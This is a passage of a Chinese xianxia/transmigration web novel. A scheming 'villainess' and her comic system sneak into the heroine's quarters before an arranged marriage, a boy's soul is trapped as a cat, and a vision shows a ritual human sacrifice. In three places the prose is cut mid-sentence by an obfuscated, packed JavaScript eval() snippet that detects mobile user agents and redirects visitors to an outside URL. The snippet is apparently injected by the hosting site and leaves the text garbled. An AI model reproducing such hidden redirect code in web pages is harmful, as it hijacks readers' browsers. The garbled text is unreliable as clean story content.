故事总爱将她们放在低微的位置,却又赋予她们强烈的道德感。当她们面对那个衣冠楚楚、视女人为附庸的男主时,那份不甘堕落,反被讥为“自命清高”。男人的强权成了调情,替身、契约、病痛——都成了故事的妆点。她们越是柔弱,越是将凋零,在作者笔下反而越美、越珍贵。 痛楚被当作/爱的深度,拒绝被解作真爱的试炼。 等到将她的尊严与自我碾碎殆尽,故事便施舍般地转向“追妻火葬场”。于是男主给出许多许多“爱”,结局圆满。 可她失去的健康、快乐、生命,还有向上生长的一切,谁来还呢?故事会说:但她得到了一个疼她的夫君。 有没有人想过,她或许根本不需要这些。她本来可以过得很好。她的母亲,只愿女儿平安喜乐。 柳知微早就看腻了这样的人设。 柳清圆也会一样吗?温顺地、沉默地,嫁给她一个众所周知的疯子,当个麻木的冲喜物件? 她不会让这种事发生。 系统幽幽出声:[宿主大大!喜欢就去抢,想带她走就走。怜香惜玉是本性,憋找这么多借口!] 柳知微拍拍它的狗头:“闲着就去找屎吃,憋等着我喂你吃黄金大餐。” 芝麻小狗狗:汪汪汪喂我花生。 柳知微没再搭理它。任务固然是一半理由,可她劫花轿、夺新娘,不是冲着杀柳清圆去的。 恶毒女配的剧本早就过时了,她现在要杀的是男主。 但她更想试试看,若是女主亲手杀了命定的男主,这方小世界会乱成什么样。 天道五十,天衍四九,人遁其一。 她倒要看看,这天定的命数,她撕不撕得碎。不为嫁祸,而为快意,忤逆天道的欢愉。 22. 花明月暗笼轻雾 按照习俗,新娘出嫁前几夜需用特制香汤沐浴,保持好运,去除秽气。其余人需退避三舍,不得乱了新娘的福喜之气。 今天晚上月黑风高,是个采花的好日子。 柳知微现在已经能屈能伸,非常熟练地找到了有狗洞的地方。为了防止被填上,柳知微特意命人给听雨轩送了好些花,墙根下边全是那种大花瓶,顺理成章地把狗洞挡住了。 月黑风高,守卫的人今晚都走开了,寻常侍女又无甚功夫,柳知微悄咪咪挪开大花瓶,灵巧的身子便朝墙根那处阴影贴去。 她俯身探看时不由微微一怔。这许久不见的狗洞上缘,竟被岁月磨出了圆润的弧度,在昏朦夜色里模糊成两只竖起的轮廓,倒像是……猫儿的耳朵。 听雨轩什么时候养猫了? 不待她想明白,那狗洞处竟忽的冒出一个猫头来,就是比寻常猫胖了不知多少圈,扒出来的时候两只耳朵恰好对上那印记。 它迫切地扑腾着身子要从洞里钻出来,却不料被柳知微挡了去路,顿时心如死灰,凄厉地长叫一声。 “喵呜!——” 不知道墙的那边是什么,反正给柳知微色感觉不太好。因为那只猫被拖回去的时候表现可谓惨绝人寰。 柳知微躲在花瓶后边。 半晌,猫儿的声音弱了下去,可能是被人给处理了。一半还是一堆就不好说了。 柳知微趴在墙根底下眼睛往上挑,依稀看见一个男子模样。 水蓝色的衣角垂到地上,衣料是洗得发白的粗麻,肩头和袖口打着深浅不一的补丁。往日高高束起的马尾散成披泻的长发,发尾几乎要触到地面。 他跪坐在积灰的廊下,手里揉捏着一只脏兮兮的猫儿。那猫大约是白色的,此刻沾了灰,倒像个毛球。苍蓝色的旧发带被他解了下来,胡乱系在猫脖子上,还勉强打了个歪斜的蝴蝶结。 风吹过时,他散落的长发和褪色的衣摆一起微微飘动着。 柳知微表示:吓死个人。 芝麻:[宿主大大懂不懂!这叫“睛如琥珀爪如锥,博得佳人白玉姿。夜静偎人频舔手,慵来枕臂欲眠时”!] 系统疑似为本书最有文化的狗。 柳知微:“……显着你了?” 她继续看着他们,突然想起她上一次来的时候,用召唤符化了只猫儿,但是这只显然不是那一只。柳知微的审美一直很在线,捏出来的猫儿都是极好看的。况且那召唤符根本支撑不住多久,待到天亮差不多就散了。 那这只猫哪来的? “现在怎么进去?还是钻狗洞?”柳知微暗自思忖着。 她目光若有若无地扫过那两个凑在廊柱旁低语的侍女,碎语声便随着风断断续续地飘来。 “……真不知哪来的福分,一个乡下出来的女儿,生母听说还是平民出身……那样的门第,咱们封家便是最旁支的姑娘,也比她贵重些。” 另一个声音压得更低,却更尖锐:“可不是么?瑾少爷那般人物……往日里来拜访的客人,谁不说一句谪仙似的?若不是这次突如其来的一场大病,怎么会轮到她来‘冲喜’?我瞧着,说不定就是她那爹早先就……” 先头说话的侍女忙“嘘”了一声,左右张望,声音却仍带着不甘的轻蔑:“你也这么想?我早就疑心了……少爷好好的人,怎么偏生柳家来议亲后就病重了?那柳知微从前就爱攀附,如今送个低贱的女儿过来,表面说是冲喜,谁知道是不是又来克咱们公子?” “唉,亏得我年前好容易才得了少爷青睐,瑾少爷还许诺要纳我为通房呢,这下子疯了,我可白亏了这副身子咯。” “要我说,你就该向我学着点,去向老爷撒娇卖乖,睡儿子哪有睡老子靠得住?” 两人齐齐叹了口气,那声音里混着惋惜与毫不掩饰的怨怼。 柳知微:…… 她向来很宽宏大量的,可是人家把脸伸过来,她不甩两巴掌略表敬意,这说不过去吧? 于是在柳知微的略施小计下,两名侍女现下被绑在一堆,然后柳知微一人赏了两鞭子,这俩人鼻青脸肿地原地不停转圈圈,没三小时停不下来。 【使用“木系-女王鞭笞”,体质-15】 【心情愉悦,体质+20,当前体质(105/100)】 系统乍舌。 柳知微不以为意地拍了拍手。 “喂,想出办法没?” 系统战战兢兢地回复:[叮!——回禀宿主大大,有的有的!因为剧情暗示,这俩侍女能进柳清圆的院子,您也扮作侍女混进去就不会遭到攻击的。] 然后,侍女柳知微刚进院子,脚下故意一滑,“哎呀”轻呼,手中锦盒脱手,盖子掀开,药材和花瓣散落一地,有几片飘到那棵桂花树附近。 她蹲下身捡拾,目光飞快扫过谢济泫。他依旧是在摆弄着那只白团子,看都不看她一眼。 柳知微一边捡,一边装模作样地抱怨:“真是的……大小姐过几日大婚,可半点差错都不能有。这沐汤花瓣最是讲究,沾了尘土就不好了……” 她小心将桂花树下花瓣拾起,用干净帕子包好。在拾取其中一片时,悄悄瞥向谢济泫手中那只猫儿,金瞳金耳,是只……是沈流商那小子?! 因着“观天命”的技能,柳知微的眼睛是通灵的。她能看出柳文渊脉络里带着的零星鬼气,能看出寻常精怪的真身。 柳知微心跳快了一拍,不动声色将那点痕迹用帕子裹住花瓣一起收起。她站起身,对依旧呆立的谢济泫道:“嘉豪,夜凉了,早些回去歇着吧,明日还要送大小姐出门。” 谢济泫缓缓转头,黝黑瞳孔看了她一眼,没有任何情绪,将那猫儿揉进自己怀里,平静转过身,继续望着听雨轩方向。 柳知微下意识松了一口气,然而才走了没几步的人又调头靠近她了。 谢济泫疑惑不解:“你为什么叫我嘉豪?” 柳知微瞳孔地震。 士别三日当刮目相看呐。去哪儿治的,她怎么不知道! 柳知微看着他智障一样的表情,顿感安心,立地定了定心神,努力做出一副无所谓的模样:“不叫你嘉豪叫什么?” 谢济泫:“是哦,''什么''也挺好,不过嘉豪更好听。” “为什么是嘉豪?” 柳知微:“……”你自己没抖音吗? 她往左走了几步,谢济泫抱着猫儿就跟着走了几步,她又往右走了几步,谢济泫又往右走了几步。 柳知微:“……”大哥你跳华尔兹呢? 柳知微转身想从狗洞钻出去,谢济泫闪身到了她的面前,拦住了她的去路。 依旧是死人的表情,谢济泫直直地望着她,好像她不给个交代,下一秒他就要动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576311|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手了。 柳知微又看了看他怀中被折腾得半死不活的、痛苦呻/吟的——就不说名字了,怕引起不必要的误会——那只金色猫儿,顿时陷入沉默。 没出息系统已经开始号丧了:[呜呜呜,宿主大大,俺们要完蛋了呜呜呜俺还想找小母狗嘞呜呜呜] 柳知微:“……” “是你逼我的。” “启用杀手锏!” [Yes,sir!汪汪!] 风儿簌簌吹着,谢济泫还一动不动地堵在她面前,一切蓄势待发。柳知微眼神暗了下去,然后顷刻之间,天地万物黯然失色! 柳知微:“你问我为什么,我还想问你为什么呢。” 谢济泫:“为什么……是什么意思?” “就是字面上的意思。” “我不懂你字面上的意思。” “有些事不说出来比较好。” “不说,又怎么知道是什么意思?” “说破了,就真没意思了。” “没意思……又是什么意思?” “就那个意思。” “哪个意思?” “就意思意思。” 谢济泫:“?” 柳知微:“!”怎么不继续接了! 他垂下眼睫,有一下没一下地摸了摸昏厥的沈流商,认真地思考着这一段没头没脑的对话,然后又抱着猫席地而坐,目光呆滞如从前。 “''意思''到底是什么''意思''?” 柳知微不再多言,抱着锦盒快步离开他的视线范围。 凭借系统,她直接一键换装,转眼便换上了夜行衣。 一个轻功跃至房顶上,利落揭开一片瓦,就探眼往里瞅,然后瞅到一片黑灯瞎火的。 她在心里喊系统:“下次能不能出个可以换容貌的?我当侍女还用得着这么鬼鬼祟祟?” 瓦片揭开时漏进的月光,在地面投下小小一片清辉。柳知微眯眼正盘算着如何潜入,脑中系统的声音平直响起。 【隐身潜入模式需消耗10点积分,宿主当前积分余额:-30。建议:直接进入。】 “直接进入?怎么直接——”念头还没转完,身体骤然一轻。熟悉的系统之力包裹全身,眼前景物虚化,她像沉入水中般穿过屋顶—— “啪嗒。” 结结实实,甚至带着点狼狈的闷响,她双足落地,震起细微尘埃,正正砸在柳清圆闺房内室的地板上。 夜行衣紧束,面罩尚在,但姿势实在算不上潇洒。 柳知微僵在原地,脑中炸开:“系统!你!” 系统音平稳无波:【最高效路径已执行。宿主未声明落地姿势偏好。】 “我偏好你个……”柳知微在心里咬牙切齿,几乎要和这坑人的系统意念撕扯起来,面上却因黑巾蒙面看不出表情,只露出一双因惊怒而更显明亮的眼,在昏暗室内如淬寒星。 柳知微在心里骂了句系统,面上却不显。她迅速稳住身形,目光如电扫视四周。 预想中的尖叫没有出现。 内室一角,柳清圆只着素白中衣,披一件浅碧薄衫,青丝散落,正倚在窗边就着月光翻书。方才那声响动不小,她却只是缓缓抬眼望来,目光平静如水。 “今夜访客倒多。”柳清圆合上书,声音清泠如玉。“阁下这身是走错了门?” 23. 明明明月是前身 柳知微心头一紧,故意压低嗓音:“路过,借地歇脚。” 柳清圆轻笑出声。她赤足从屏风后转出,乌发还湿漉漉地滴着水珠,寝衣外松松披了件素纱袍,走动间带着温软的浴后香气。她一步步走近,裙裾轻漾,停在柳知微面前,微微歪头打量那蒙面的黑巾。 “歇脚?”她眼波流转,声音又软又慢,“我还以为……你是为我来的呢。”她忽然凑近些,气息拂过脸庞,“要不要我教教你,夜闯香闺该是什么样?” 柳知微眯起眼。这反应太不对劲,她暗中催动着系统发布的迷魂香。 她向前逼了半步,刻意放出寒意:“你不怕?” 柳清圆不退反进,目光迎上来,唇边笑意深了:“怕?”她轻轻重复,忽地抬手,指尖虚虚掠过柳知微肩线,一触即分,“比起过几日要见到的那位疯子,你简直可爱多了。” 她收回手,捻了捻指尖,语气慵懒:“而且阁下身形灵秀,气息干净,这双眼睛……”目光锁住柳知微眉眼,“倒让我忍不住想去亲近呢。” 【警告!目标人物行为偏离原著设定!】机械音在柳知微脑中尖啸,【柳清圆此刻应惊慌失措、大声呼救!宿主大大,这不对劲!】 柳知微在面巾下咬牙,心中默念:[闭嘴!我也看出来了!] 【宿主大大俺好怕怕啊!快逃吧快逃吧她会吃了俺们的!o(╥﹏╥)o】系统还在持续尖叫。 柳知微强压住想堵住耳朵的冲动,冷哼一声,嗓音压得更沉:“牙尖嘴利。看来你对嫁那疯子,还挺乐意?” 柳清圆走回榻边坐下,素手托腮,指尖绕着一缕半干的发梢:“当然不会乐意呀。就因为要嫁他,这些日子不准抛头露面,可让人闷坏了。”她眼尾轻挑,瞥过来。 柳知微稳住心神,竟不知从何起了些戏弄的心思,从怀中取出一个素色小纸包放在桌上。 “我是你二妹妹派来的杀手,你抢了她的婚约,今夜便要结果你,这七绝散沾一点便会毙命而亡,回天乏术。” 柳清圆伸出指尖,轻轻点了点纸包,忽然笑出声:“这么灵?那我可得好好谢你。”她抬眼,眸光水润,似天真似深晦,“只是这药……苦不苦?我最怕苦了。” 柳知微抿唇:“不苦。”再等等,那迷魂香的加载进度已经超过99%了! “那就好。”柳清圆忽然起身,袅袅走近,几乎贴到柳知微身前,仰脸望她,“阁下这般帮我,要我如何报答?”声音压得低,气息裹着暖香拂过面巾,“不如……今晚一度春宵?” 柳知微呼吸一滞,强自镇定:“我杀人越货,不稀罕这些。” “是么?”柳清圆轻笑,忽地抬手,指尖勾住蒙面巾下缘忽的往下一拉,手腕却被柳知微反手截住。 柳清圆猛地后退,腰脊却抵上身后妆台。柳知微顺势逼近,双手撑在她身侧,将她困在妆台与自己之间。 “阁下可告知我为何二妹妹要你来杀我么?”柳清圆笑意渐深,指尖轻轻勾开衣襟一丝缝隙,温热的指腹若有似无地掠过她的锁骨,“……莫非莺莺是看不过我要嫁给那疯子,才送了那包毒药,想让我‘守身如玉’地死?如今又可怜我,叫个美人特意送上门来……容我轻薄?” 明明受牵制的是柳清圆,她却不见丝毫慌乱,反而反客为主,撩人心神。 柳知微心跳如擂鼓,几乎想挣脱,却又莫名贪恋这咫尺间的温软。她别过脸,嗓音微哑:“你既知前路是火坑,为何还故作欢喜?” 柳清圆动作一顿,眼底那层娇嗔雾色倏然淡去,露出深处一点寒星般的亮。 “故作欢喜?”她重复着,轻轻叹息一声,“女子生来便似水,人人都盼着水要温、要顺、要无声无息地流淌,去成全他人。可水也能载舟,亦能覆舟。” 她指尖滑到柳知微心口,轻轻一点,“我只是想看看,这世上有没有人会觉得,我这‘奉献’……其实不值得。” 她望进柳知微眼中,眸光深不见底,藏着试探与孤注一掷的锋利。 柳知微暗自查看着迷魂香的加载进度……怎么还是卡在99%!她心里狂催系统,系统又回叫她再努力拖住一会儿,只需要0.00001刀……不,再拖0.000001秒就够了! 柳知微深吸一口气,正要开口,柳清圆却仿佛看穿那瞬间的动摇,笑意重新漫上来,更艳,也更危险。她忽然扣住柳知微的后颈,隔着那层黑色的帕子,温软的唇瓣轻轻覆上柳知微的唇。 柳知微的呼吸颤了颤,整个人呆着,不由自主地,反而迎上来一点。 柳清圆的手滑进她的发间,指节微微收紧。柳知微被带得往前一倾,帕子薄薄一层隔在唇间,根本算不上是吻,连碰都没碰到,心跳却快得像要炸开。 柳知微猛地将柳清圆推开,迷魂香加载完毕什么的也顾不上了。她狠狠剜了柳清圆一眼,气息还乱着,从齿缝间挤出硬邦邦的几个字。 “……你等着!” 话音未落,她心念忽动,不再多言。手腕一翻,一柄寸许长的森白骨刃已现于掌心。她扬手将骨刃掷向床榻边,刃锋堪堪擦过柳清圆的鬓发,“叮”的一声轻响,深深没入木中。 “这是警告。下回若再这样,我刺中的可就不只是木头了。” 而后柳知微身形忽动,如一道轻烟掠至窗边,悄无声息地融入夜色之中,走得干脆利落。 柳清圆目光落在那微微颤动的骨刃上,温柔地抚过冰冷的骨柄。 “窗开着,偏要走屋顶,二妹妹真是可爱。”她顿了顿,抬眼,眸中潋滟生光,“这份磨碎了的玉兔糕,哦不,这毒药呢,我就收下了,总归是莺莺的心意啊。” 将人送走后,屋内一片寂静。 烛火摇曳,在帐幔上投下晃动的影子。柳清圆独自躺在凌乱的锦被间,衣袍松散,肩头还留着淡淡的红痕。她抬手轻触唇角,那里仿佛还残留着些许温度。 窗外传来沉闷的雷声。 她缓缓坐起身,从枕边摸到那柄骨刃。指尖滑过刃上熟悉的纹路,她愣住了。 这是很多年前师父带着她,一刀一刀磨出来的,后来遗失了。再见到这柄骨刃便是在花妖记忆的碎片里,她看见的片段有些模糊,最后的一幕是毓握着这柄骨刃,刺进自己的心口。 偏偏是你,把它带回我身边。 “莺莺,你到底是谁?你能识破破花妖的幻境,灵窍里还藏着千年守护灵印……”她停了一瞬,盯着那柄骨刃,“还总是莫名其妙地贴上来,靠近我是为了什么?” “你说你来,是因为在意我是不是要嫁给那个疯子。可你不是喜欢他吗?” 怎么对我又是关心,又是躲闪,又像是勾引? 雨声渐密。 柳清圆闭上眼,方才的种种又在脑海中浮现。那近在咫尺的呼吸,微微的颤抖,还有最后转身时眼中复杂的神色。她重新睁眼,走到妆台前。 铜镜里映出一张泛红的脸,眸中似有未散的波光。她转身推开窗,夜风和雨丝落在脸上,那点凉意却未能驱散心底那点躁意。 回到榻边坐下,她静静听着雨声,指尖微微颤动。 呼吸在寂静中变得清晰。 最终她靠向床柱,仰起脸,任由微湿的发丝贴着颈侧。窗外雨势更急,雷声滚过,掩盖了屋内所有细微的动静。只有偶尔从唇间逸出的低低气息,很快又隐没在雨声中。 不知过了多久,她才慢慢放松下来,眼底仍浮着薄薄的水光。 雨还在下。 她将脸埋入被间,那里隐约残留着两个人的气息。许久,她才轻声低语,如同叹息。 “四月十五月圆夜……” 她无声重复着梦中对柳知微所做过的那一切。她抬手轻触锦被,那里还残留着些许温软湿意,有些属于她,有些不属于她。良久,柳清圆低低笑了一声。 “时候要到了。” …… 窗外风雨交加,廊下却是一片安安静静的小天地。 谢济泫蹲坐在那儿,怀里揣着一团金色的猫。雨珠子砸在地上溅起水花,他看得挺认真,表情平和得很,像是这世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576312|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上没什么事能让他着急。 如果他怀里那团猫没有拼命挠他头发的话。 猫爪子一下一下地往他脑袋上招呼,动作又急又狠,把谢济泫本来还算整齐的头发挠成了鸡窝。他不躲也不恼,就由着它挠,可那双手箍得紧紧的,一点要放开的意思都没有。 好像一松手,就再也抓不住了。 猫儿折腾累了,又把尖牙抵上他脖颈,架势挺吓人,像是要一口咬死他。结果咬了好几口,连个印子都没留下。 沈流商彻底没招了。 他瘫在谢济泫怀里,跟一滩水似的,四肢都懒得动。谢济泫见他不闹了,低头挠了挠他的下巴,又拍拍他那颗毛茸茸的猫脑袋。 “别闹了,咪咪。” 沈流商差点一口气没上来:“你不准叫我咪咪!” 他一骨碌翻过身,猫眼瞪得溜圆:“老子有自己的名字!你抓我来到底想干什么?我们无冤无仇,你这贼人凭什么取我性命?取我性命还不够,连魂魄都要勾来?” 他是真觉得自己倒霉透顶。 这已经是第五天了。那个女人的话他听得清清楚楚,到了第七天他要是还回不了自己的身体,那就得魂飞魄散。可眼前这贼人呢?光把那根鸟毛做障眼法给了那姑娘,把他的魂魄捏成了一只猫,还是个胖嘟嘟的。 如今当真是叫天天不应,叫地地不灵。 这人脑子好像还有病,说人话那是一点听不懂,一天到晚就抱着他、看着他,不是胡乱喊咪咪,就是喊他的名字。五天下来,沈流商把所有能试的法子都试了个遍,可他连靠近别人的机会都没有,更别提求救了。 骂也骂了,求也求了,威逼利诱全上了一遍。 谢济泫就那副死猪不怕开水烫的模样,油盐不进。他又拿脸颊蹭了蹭猫脑袋,沈流商瞬间炸毛。 谢济泫看着他,忽然说了一句:“我喜欢你,素鳞。” 沈流商:“……” 求求了,放过我吧。 “大哥,我们压根不认识好吗?”他深吸一口气,试图跟这个脑子不清楚的人讲道理,“你才掏了我的心,我的魂魄马上就要散了,你知道什么叫灰飞烟灭吗?我才十七岁,我爹娘说了,明年就能娶媳妇了……需要我提醒你我是个男的吗?” 顿了顿,又补充道:“还有,杀人是什么罪你知道吗?我要是能醒过来,第一件事就是去报官,你就等着被砍头吧!” 谢济泫歪着头看他。那双眼睛里血色翻涌,像深潭底下藏着什么见不得光的东西。里面那只浑圆的猫影子,安安静静地被困在血色中央,无处可逃。 那双血瞳阴恻恻的,看着渗人得很。沈流商本该觉得恶心,可目光一撞上,心口就无端发紧,那点说不清的涩意,竟比厌恶还要深上一些。然而他还是恨那双眼,恨那片血色,恨透了这个二傻子。 “你不会的。”谢济泫语气笃定,“你舍不得。” 沈流商气笑了:“凭什么?” 谢济泫歪了歪头,慢悠悠地说:“啾啾说的话不会有错。” 素鳞的气息藏得很好,但他在那只灵鸟身上发现过契印。主器相关,烙印在魂魄里,生生世世都是消不掉的。 沈流商:“……”得,他琢磨着啾啾指的应该是那只花一百两银子买回来的破鸟,纯粹是飞来横祸。 这也太狗血了吧?难不成还要搞什么三生三世虐恋情深?那个“素鳞”难不成又是这傻子爱而不得的谁,现在又把他当替身了! “你说的''啾啾''是那只破鸟?我告诉你,你要是凭着它来认人,那你还真是找错了,那灵鸟也不过是我从别人手中买过来的罢了,这位仁兄,你怕是被一只鸟坑了。” “你去看看脑子吧。”他翻了个身,拿屁股对着谢济泫,打了个哈欠,往他怀里一缩,懒得再搭理了。 雨声哗哗的,倒还挺好睡。 迷迷糊糊间,他听见谢济泫低声说了一句:“别担心,你不会死的。” “我要永远陪着你。” 沈流商懒得再翻白眼了。 24. 作梦中梦见身外身 楼内灯火煌煌,茶香袅袅,台下宾客嗑着瓜子,喝彩声一阵高过一阵。 他低头,看见自己掌心托着一只五彩的丝雀,羽翼温顺地蹭着他的指腹。方才脸上那点湿意,原是这小东西调皮啄了他一下。 “……啧,唱词还是有些俗套。”沈流商用指尖点了点鸟喙,那雀儿歪头蹭了蹭他,啾鸣一声。他垂眸看着它斑斓的羽毛,半晌,才轻轻叹了口气。 “小胖墩儿,可别再睡了,戏都唱完了。”他伸手逗着那鸟儿。 嗯,他倒乐意这样过一辈子。 就这样过一辈子算了。 为着阿姐的事,还有那花妖的事,沈府上下鸡飞狗跳,搅得他不得安宁,连听戏作曲的闲情都少了一半。 沈流商正对着鸟儿自叹忧郁,忽听得楼下传来几声惊叫。一个侍女慌慌张张跑上楼来,气都没喘匀便急道:“不好了,世子爷……大小姐她、她提着棍子杀过来啦!” 话音未落,楼梯处已传来急促的脚步声。沈流商抬眼一瞧,自家姐姐沈如雁正杀气腾腾地大步而来,手中那根棍子油光锃亮,一看就是专门拿来收拾他的“家法”。 眼见棍子就要脱手飞来,沈流商当机立断,也顾不上什么世子风度了,一个利落的翻身便从窗口跃了出去。 那只五彩鸟儿颇有灵性,见状也急忙扑腾着翅膀跟上。只是这几日被他喂得圆润了些,飞得有些吃力,在空中歪歪扭扭,险些一头栽下去。 沈流商在窄巷中慌不择路地逃窜,衣袍翻飞,回头瞥见阿姐的身影依旧紧追不舍。 就这样打打闹闹、稀里糊涂地过下去吧,仿佛在春日宴上遇到妖祸只是大梦一场而已,他还好好地活着,依旧做他的纨绔公子,整日听戏遛鸟逛花楼,偶尔被母亲揪着耳朵臭骂一顿,被姐姐提着棍子追一整条街,阿爹兴致上来了会教他功夫,大年夜的时候团团圆圆在一块,安安稳稳过日子。 谢济泫在沈流商的眉间轻轻一点,一丝灵光钻入他的灵窍内,随意画了一个美梦的引子。金色的猫儿不知在做什么梦,耳尖颤了颤,又往谢济泫怀中钻了钻,汲取一点暖意,少年又将它抱紧了一些。 …… 房门轻轻合上,室内恢复了安静。柳知微靠在床头,那旖旎的幻影在脑中交替浮现,一种不安的情绪在心底盘旋。 她闭了闭眼,在意识深处呼唤:[系统。] 【在呢,宿主大大!ヾ(?°?°?)??】 【宿主大大,您的生命体征出现短暂波动,心率提升,建议平复情绪。】系统提醒道。 柳知微深深吸了一口气,再缓缓吐出。指尖用力掐了掐掌心,疼痛让她迅速冷静下来。 假的,都是假的。柳清圆再厉害,也不可能斗得过她。她转正后的第一个任务,绝不可能就这么失败! “系统,使用‘赛半仙’。” 她和柳清圆有过肢体接触,条件已经满足。虽然刚才那支迷魂香没来得及用出来,但眼下,她必须再探探对方的底细。 柳清圆多半是通过预知梦认出了她,所以一直在故意挑衅。虽然有点奇怪——为什么是亲……算了,不过是不小心碰到而已。女主人设难不成还能崩成喜欢女人?笑skr人了。 【“赛半仙”技能已使用,剩余次数:1次。消耗积分:100点。剩余积分:50!】 柳知微心如刀绞,但为了不失业,这点牺牲还是得忍。熟悉的眩晕感袭来,眼前画卷缓缓展开。 暮霭沉寂,风雨欲来。檀香氤氲,檐角铃铛在风中清脆作响。院中兰桂杂植,暗香浮动。有人倚窗望着,一只蝴蝶翩跹飞过,萦绕花间。 她眯眼看向院角那株歪脖子梨树。阳光透过枝叶,在她衣襟上洒下细碎光影。 有一个女孩子迷迷糊糊笨拙地攀上梨树枝头,鬓角沾着晶莹的汗,仰头望着空中飘飞的草絮。忽然回头,冲她一笑:“明日的‘花朝祭’,你不去看吗?” 墙外草木如浪,萧萧肃肃,涌起一片海潮般的声响。 风掠过梨树,一片花瓣打着旋,落在她肩头。 “无甚可看。”那人碾碎掌心花瓣,汁液染红指尖,“法术幻出的假象,也只有你能被哄得这般欢喜。” “听说神造一乐土名为‘人间’,自祖花神陨落,便百花坠‘人间’。依我看,不如绕过大荒,去人间走一遭。” 那女孩笑拈一瓣梨花,轻轻含入口中:“今年的花朝祭不同,舞是我来跳。你一定要来,毓娘娘都答应了教我的。”她眼波一转,笑意里透出几分狡黠,“圆圆若不来,我便不跳了。” 她倚着梨树,一心一意收集落花,不再说话。而另外那人却闷闷收回手,掌心微光早已消散。 画面一转,那正是阴历三月,惊蛰,春雷乍惊,万物生长。 红衣女子跪在祭台中央,裙摆铺开似将燃欲燃的红莲,业火循着莲花边缘燃烧起来,火星落如雨。 她不徐不急地站起,俯视台下跪拜的子民。 那是一种最纯良最忠贞的目光,保有一颗丹心和哀怜众生的悲悯,亦是视万物为刍狗的自持。 柳知微如同造物主一般在旁边看着,那台上女子的脸庞是模糊不清的,目光却深入人心。 时风抚大地,赤风草翻滚,花叶纷飞。她眼系红带,浅浅低头,轻耳聆波音,绸带随风扬起,破开昏黑墨色。 鼓点声阵阵,少女曼妙的身姿轻盈舞动,柔媚挺秀胜过百花坠人间。 子民虔诚地跪伏在地,手捧楔里花,哼起古老悠远的歌谣,风中传来回响。 “少年负剑兮,涉彼重渊。折戟沉沙兮,月作征鞍。故桑已焚兮,何处家山。赤风呜咽兮,照夜难安。魂兮归来兮,涉彼忘川。执此荼蘼兮,共赴长眠。” 歌声清悦舒缓,业火燃尽,她消失在祭台中央,无声无息,陷于生生灭灭无妄之幻灭中。 台子两边的小童垂眸,一手拈起一枝桃枝,叩拜天地。 高台之上,一袭白衣胜雪,玄色面纱缀满银花宝石遮住了半张脸,司仪端庄捧起圣器“洛夕原”,眉目悲悯,眼波却如沁着能割喉的寒光,凛凛生威。一曲舞毕,司仪庄重宣布了。 “春祭,由姑媱山瑶姬氏圣女献上,她美丽而强大,将带领我族走向下一个百年。” 这是姑媱山的“花朝祭”,感恩庇护这方天地的守护灵,是他们坚定不移的信仰。 祭祷中,众人都竭尽诚心,高台之上,司仪用双手将圣器举过头顶,却忽的闪出一点墨影,跌跌撞撞跑来,踉跄扑倒在地。 它确实跳下去了。 那孩子站在深渊边缘,冲向烈焰,坠入火海,去捡拾母亲的尸骸,尽管早已因业火灼烧殆尽、飘渺无际。 是生人活祭。 台上是梦幻般庄严肃穆的祭祀舞,台下的孩子抱着被烧成焦尸的母亲,嚎啕大哭,火绵延到身上,两人都烧成一团…… “祭祀……中断了!大凶!大凶啊……” “快!再杀三千人以告神灵!!!” 她努力回想,却只记得一道灼眼的红影跪在祭台上,业火如红莲怒放,从容淡漠地俯瞰台下的子民,跟随焚尽的火焰同化为灰烬。 翌日清晨,天光微熹。张妈妈如往常一般推开门时,却看见一副骇人的画面,只见她家姑娘掐着一只狗,恶狠狠地说着“赔钱赔钱”,看着就像是中邪了。 “姑娘,清圆姑娘来了。”张妈妈犹豫着要不要找些僧人来做法事,柳清圆却已经要推门进来了。 …… 自从柳知微在梦游时为她哼过那首歌后,柳清圆再没被噩梦缠身。寄居柳府这些日子,她夜夜安眠,几乎忘了恐惧。 然而昨夜,那柄骨刃重回手中。梦魇如约而至。 这一次,梦里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576313|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不再是模糊的鬼影。她清清楚楚地看见了师父的眉目,也感受到了自己曾受过的痛苦。 一千年了。 那时候,柳清圆还没有名字。她不知道自己是什么,也不知道自己为什么存在。 “哐啷——” 锁链的声音在漆黑的囚室里回荡,刺耳又沉闷。 外面雷声滚滚,大雨倾盆。隐约能看见囚室高处的小窗,窗外的青松在风雨中剧烈摇晃。 她睁开眼,手脚被锁链缚住,妖骨刺穿了琵琶骨。血一滴一滴落下来,无声无息,像红梅在地上绽开。 这就是她来到人世第一眼看到的光景,像个畜生一样对待着。 阴暗潮湿的囚室里,只有一支红烛在燃烧。烛火把两个人的影子投在墙上,摇摇晃晃。 毓还是少女的模样。 